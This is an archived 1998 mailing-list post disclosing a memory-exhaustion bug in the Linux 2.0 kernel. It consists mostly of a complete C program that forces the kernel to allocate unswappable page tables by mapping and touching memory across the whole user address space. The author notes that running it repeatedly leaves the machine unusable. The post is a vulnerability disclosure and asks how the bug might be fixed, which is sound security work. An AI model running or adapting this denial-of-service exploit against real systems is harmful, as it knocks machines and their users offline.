linux 2.0 PTE bug

From: XXX_p6mip300 (p6mip300at_private)
Date: Mon May 25 1998 - 04:51:42 PDT

  • Next message: Michal Zalewski: "ircii-pana (BitchX) 74p4 overflow - exploit/fix"

    Hi all,
    
    there is the program :
    --------------------------------------------------------------------------
    /* the pte bug - Sed hacking linux kernel, 24 may 1998 */
    
    unsigned long address;
    int touch_me;
    int fd;
    
    #include <signal.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    void the_handler(int x)
    {
      signal(SIGSEGV, the_handler);
    
      touch_me++;
    
      if(mmap((void *)address, 4, PROT_READ,
            MAP_FIXED|MAP_PRIVATE, fd, 0)==(void *)-1) {
        perror("mmap");
        exit(1);
      }
    }
    
    void main(void)
    {
      /* volatile to fool GCC, we _WANT_ access *address */
      volatile unsigned long i;
    
      fd=open("pte.c", O_RDONLY);
      if (fd==-1) {
        perror("open");
        exit(1);
      }
    
      signal(SIGSEGV, the_handler);
    
      /* 3*1024*1024*1024 = TASK_SIZE,
       * 1024*4096 = number of bytes one pte can map */
      for (address=0; address<3*1024*1024*1024; address+=1024*4096) {
        i=*(unsigned long *)address;
        if (touch_me) {
          touch_me=0;
          munmap((void *)address, 4);
        }
      }
    
      while(1)
        pause();
    }
    -----------------------------------------------------------------------
    
    The idea is to take a lot of memory. So, we map all our virtual pages,
    to force the system to allow all the pte (am talking about PC box).
    So, the process will have allocated 768 pages that will never be
    swapped (that's the crucial point).
    
    So, that's simple, you run this program as much time as you need to take
    all the memory, and the PC won't be usable anymore (for my 64Mb box,
    i need to run it about 20 times).
    
    And then, you can have a wonderful light-show with your HD-led :) (PC will
    spend its time in swapping).
    
    How to solve it ?
    Well, we could swap the pgd / pmd / pte, but i really don't know
    if it is possible or what.
    
    If this bug is already well know, am sorry to disturb with it.
    
    It applies only on the 2.0 kernel, for the 2.1 (soon 2.2) i don't know
    if it works, will have to read the source.
    
    Sed.
    p6mip300at_private
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:54:24 PDT